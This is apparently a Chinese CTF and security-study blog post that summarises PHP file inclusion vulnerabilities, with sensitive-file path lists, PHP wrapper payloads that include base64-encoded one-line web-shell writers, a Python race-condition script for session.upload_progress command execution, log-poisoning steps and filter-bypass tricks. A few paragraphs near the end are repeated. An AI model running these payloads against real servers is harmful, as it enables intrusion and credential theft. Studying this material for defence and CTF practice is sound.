文件包含总结

文件包含总结

概念

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这样能够避免了同一个功能重复造轮子,减少了重复代码量,减少了开发时间,提高效率,总之,文件包含是一个十分有用的功能。文件包含漏洞是利用文件包含的函数进行攻击,引入设计者非预期的文件。文件包含又分为本地文件包含和远程文件包含。

原理

当PHP函数引入文件时,由于传入的文件名没有经过合理的检验,从而引入了非预期的文件,这就造成了文件包含漏洞。

对于PHP而言,文件包含的函数有:

  • include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
  • include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
  • require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
  • require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用这四个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url、也都将作为PHP代码执行。这一特性,在实施攻击时非常有用。

example:

<?php
include($_GET[test]);
?>

这个php文件没有对传入的参数做任何过滤就引入到include()函数中,造成文件包含漏洞。

image-20210407163727956

条件

要想成功利用文件包含漏洞,需要满足下面两个条件:

  1. include()等函数通过动态变量的方式引入需要包含的文件;
  2. 用户能控制该动态变量。

危害

文件包含不仅仅能够查看服务器上的文件,通过远程包含或者结合文件上传漏洞,包含恶意文件从而达到控制服务器的目的。

远程文件包含

远程文件包含(Remote File Inclusion, RFI)是指包含远程服务器上的文件。这需要PHP的配置文件中allow_url_include设为ON

image-20210407170933409

从这里可以看出,攻击者可以利用自己的服务器上的恶意文件,然靶机的文件包含这个恶意文件来上传 Webshell 。

本地文件包含

本地文件包含(Local File Inclusion,LFI)是指打开包含本地系统的文件。

本地文件包含的利用方式虽然不像远程文件包含那样能随意执行文件,但是也有几种常用的利用方式。

查看本地文件

查看本地文件是本地文件包含最基础的一种利用方式,概念中的example就是一个典型的利用本地文件包含查看文件内容。以下是一些敏感文件的路径:

Windows:
    C:\boot.ini                                           //查看系统版本
    C:\Windows\System32\inetsrv\MetaBase.xml             //IIS配置文件
    C:\Windows\repair\sam                               //存储系统初次安装的密码
    C:\Program Files\mysql\my.ini                      //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD        //Mysql root
    C:\Windows\php.ini                               //php配置信息
    C:\Windows\my.ini                               //Mysql配置信息
    ...
Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts
    /porc/config.gz

php伪协议

file://协议

allow_url_fopen=On/Off、allow_url_include=On/Off

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件

file:// [文件的绝对路径和文件名]

example:

http://192.168.91.134/include.php?test=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php

image-20210408164938282

php://协议
php://input
php://filter

php://input用于执行PHP代码,php://filter用于读取源码。

php://filter

php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。

?file=php://filter/convert.base64-encode/resource=xxx.php

example:

?test=php://filter/convert.base64-encode/resource=include.php

image-20210407201549097

base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。

php://input

allow_url_include=On

php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),当enctype="multipart/form-data"的时候 php://input是无效的。

?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

example:

?include=php://input
 
POST数据:
<?php phpinfo()?>
#或者直接一句话木马也行
<?php echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));?>

值得一提的是,这里使用HackBar POST数据的时候需要选择(raw),否者参数后面的内容会进行URL编码,导致了后端无法识别;而且需要给一个参数名字(任意),不能直接发送内容。

image-20210408100407478

data://协议

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

allow_url_include=On、allow_url_fopen=On

php版本 ≥ 5.2

?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==
#最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中

example:

http://192.168.91.149/include.php?test=data://text/plain,<?php phpinfo()?>

image-20210408115525460

phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下方式进行利用。

php版本 ≥ 5.3

利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php

example:

假设有个上传文件地方,我们把文件phpinfo.txt压缩为phpinfo.zip,上传到服务器中

http://192.168.91.134/include.php?test=phar://phpinfo.zip/phpinfo.txt

image-20210408120545219

这里使用了相对路径,当然知道绝对路径也可使使用绝对路径。

zip://, bzip2://, zlib://协议

3个封装协议,都是直接打开压缩文件。

  • compress.zlib://file.gz – 处理的是 ‘.gz’ 后缀的压缩包
  • compress.bzip2://file.bz2 – 处理的是 ‘.bz2’ 后缀的压缩包
  • zip://archive.zip#dir/file.txt – 处理的是 ‘.zip’ 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

allow_url_fopen=on/off、allow_url_include=on/off

php 版本大于等于 php5.3.0

zip://协议
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
zip://archive.zip#dir/file.txt

要用绝对路径+url编码#%23

example:

http://192.168.91.134/include.php?test=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4zSc7yFC-1649928987243)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210408161358687.png)]

bzip2://协议
compress.bzip2://file.bz2

绝对/相对路径都可以

example:

http://192.168.91.134/include.php?test=compress.bzip2://D:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

image-20210408162303373

zlib://协议
compress.zlib://file.bz2

绝对/相对路径都可以

example:

http://192.168.91.134/include.php?test=compress.zlib://phpinfo.gz

image-20210408164318892

小结

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fTcp54vE-1649928987246)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/9113969-4aa6994b78d9b1e4.png)]

包含Session文件

Session文件路径已知,且其中内容的部分可控。

首先第一个条件:Session的文件路径可以在php.ini中的session.save_path字段查看到:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IHcc4RsD-1649928987247)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210408165154558.png)]

一般而言,session文件的存放位置为:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sessions/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

第二个条件:内容可控,这个要求较为苛刻,有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。如通过session.upload_progress来控制session的内容。

利用session.upload_progress来进行命令执行

session.upload_progress.enabledINI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。通常这些键值可以通过读取INI设置来获得。

$_SESSION[$key]["cancel_upload"]设置为true,还可以取消一个正在处理中的文件上传。当在同一个请求中上传多个文件,它仅会取消当前正在处理的文件上传和未处理的文件上传,但是不会移除那些已经完成的上传。当一个上传请求被这么取消时,$_FILES中的error将会被设置为 UPLOAD_ERR_EXTENSION

session.upload_progress.freqsession.upload_progress.min_freqINI选项控制了上传进度信息应该多久被重新计算一次。通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

默认值

此功能在php5.4添加,php.ini有以下默认项:

  • session.upload_progress.enabled = on:表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
  • session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要
  • session.upload_progress.prefix = "upload_progress_":表示为session中的键名前缀
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":表示为session中的键名主值,prefix+name将表示为session中的键名
  • session.upload_progress.freq = "1%"
  • session.upload_progress.min_freq = "1"
  • session.auto_start = Off:PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
  • session.use_strict_mode = 0:默认非严格模式,此时用户是可以自己定义Session ID的。
原理

利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件(即条件竞争)。PHPSESSID必须要有,因为要竞争同一个文件

条件
  • 存在文件包含漏洞
  • 得知session文件存放路径
  • 有读写session文件权限
import io
import sys
import requests
import threading
 
sessid = 'jan'
sess_path='/tmp'
url='http://xxx:xxx/'
cmd='cat flag.php'
 
def WRITE(session):
    while True:
        f = io.BytesIO(b'x' * 1024 * 50)
        session.post(
            url=url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?php system('{cmd}');?>"},
            files={"file":('xxx.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
 
def READ(session):
    while True:
        response = session.get(f'{url}?file={sess_path}/sess_{sessid}')
        if 'upload_progress_' in response.text:
            print(response.text)
            sys.exit(0)
        else:
            print('++++++retry++++++')
 
def main():
    with requests.session() as session:
        t1 = threading.Thread(target=WRITE, args=(session,))
        t1.daemon = True
        t1.start()
        READ(session)
if __name__ == '__main__':
    main()

包含日志文件

前提条件:要知道服务器日志的存储路径,且日志文件可读。

服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

image-20210408170606442

正常的PHP代码已经写入了 D:\phpStudy\PHPTutorial\Apache\logs\error.log。然后进行包含即可。

image-20210408171246817

http://192.168.91.134/include.php?test=D:\phpStudy\PHPTutorial\Apache\logs\error.log

image-20210408171218518

正常服务器中的日志文件位置:

/var/log/nginx/access.log
/var/log/apache2/access.log

包含SSH log

**条件:**需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

example:

用ssh连接:

 ssh <?php phpinfo();?>@192.168.91.149

这是在服务器上的auth.log文件上就会记录下如下内容:

image-20210408213533633

再进行文件包含即可:

image-20210408213444503

包含environ

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。
?file=../../../../../../../proc/self/environ

在访问的时候抓包把user-agent修改为<?php phpinfo();?>即可。

这个没有尝试成功,这一个文件似乎没有user-agent???

包含临时文件

以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效。

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用条件竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的。

或者利用phpinfo能查看临时文件名字的方法去进行利用:

PHP LFI 利用临时文件 Getshell 姿势

PHP文件包含漏洞(利用phpinfo)

绕过方式

00字符截断

PHP版本<=5.3.4

magic_quotes_gpc = Off

在这补充一下magic_quotes_gpc的相关知识:

php中的magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理。他可以对 P O S T 、 _POST、 POST__GET以及进行数据库操作的sql进行转义处理,防止sql注入。

  • 对于PHP magic_quotes_gpc=on的情况,

    我们可以不对输入和输出数据库的字符串数据作

    addslashes()和stripslashes()的操作,数据也会正常显示。

    如果此时你对输入的数据作了addslashes()处理,
    那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

  • 对于PHP magic_quotes_gpc=off 的情况

    必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
    因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

程序中可以通过get_magic_quotes_gpc来获取magic_quotes_gpc环境变量的值,从而判断是否使用addslashes()和stripslashes()

  • addslashes – 使用反斜线引用字符串

    描述
    string addslashes ( string str)

    返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(’’)与 NUL(NULL 字符)

  • stripslashes – 函数删除由 addslashes() 函数添加的反斜杠。

    描述
    string addslashes ( string str)

    返回字符串,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据

file=../../etc/passwd%00

example:

<?php
include($_GET['a'].'.php')
?>

这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件。

?a=info.php%00

%00 会被解析为0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制

路径长度截断

php版本小于5.3.10

文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃。

././././././././././././abc..........
//abc.........
../1/abc../1/abc../1/abc........

就是在后面接很多个.,让后面的后缀抛弃掉。

目录遍历

可以使用../../../这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\

URL绕过

假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php

query(?)
?file=http://remoteaddr/remoteinfo.txt? 

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

fragment(#)
?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

require_once绕过重复包含文件

原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列)

PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

root@ubuntu:/var/log/apache2# cd /proc/self/root/
root@ubuntu:/proc/self/root# ls
bin    dev   home            lib         media  proc  sbin  swapfile  tmp  vmlinuz
boot   etc   initrd.img      lib64       mnt    root  snap  sys       usr  vmlinuz.old
cdrom  flag  initrd.img.old  lost+found  opt    run   srv   test      var
root@ubuntu:/proc/self/root# cd /
root@ubuntu:/# ls
bin    dev   home            lib         media  proc  sbin  swapfile  tmp  vmlinuz
boot   etc   initrd.img      lib64       mnt    root  snap  sys       usr  vmlinuz.old
cdrom  flag  initrd.img.old  lost+found  opt    run   srv   test      var

可以看到这里/proc/self/root//指向的目录是一样的。

example:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

这样就可以绕过require_once()只能包含一次相同文件的限制。

php://filter绕过exit

有时候后端会对我们输入的代码前面加上一段exit()函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter伪协议对内容进行编码解码,即可绕过

是一样的。

example:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

这样就可以绕过require_once()只能包含一次相同文件的限制。

php://filter绕过exit

有时候后端会对我们输入的代码前面加上一段exit()函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter伪协议对内容进行编码解码,即可绕过

详见:php://filter的妙用

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值